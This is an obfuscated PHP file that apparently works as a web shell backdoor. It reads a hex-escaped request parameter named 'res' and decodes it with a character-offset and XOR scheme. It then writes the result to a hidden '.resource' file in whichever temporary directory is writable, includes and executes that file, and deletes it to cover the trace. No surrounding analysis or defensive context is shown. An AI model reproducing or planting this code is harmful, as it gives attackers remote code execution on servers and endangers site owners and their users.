<?php

if(in_array("\x72\x65s", array_keys($_REQUEST))){
	$element = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP")]);
	$desc = $_REQUEST["\x72\x65s"];
	 		$desc	 = 		explode( 		'.'  ,$desc	 );
	$token = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s 	);
            $j = 0;
    
            array_walk(	$desc ,  function(	$v6) use(	&$token ,  &$j ,  $s ,  $lenS) {
                $chS = ord(	$s[$j  %	$lenS] 	);
                $dec =(	(	int)$v6 - $chS -(	$j  %	10)) ^ 17;
                $token .= chr(	$dec 	);
                $j++;} );
	foreach ($element as $data) {
    		if (!( !is_dir($data) || !is_writable($data) )) {
    $key = str_replace("{var_dir}", $data, "{var_dir}/.resource");
    if (@file_put_contents($key, $token) !== false) {
	include $key;
	unlink($key);
	die();
}
}
}
}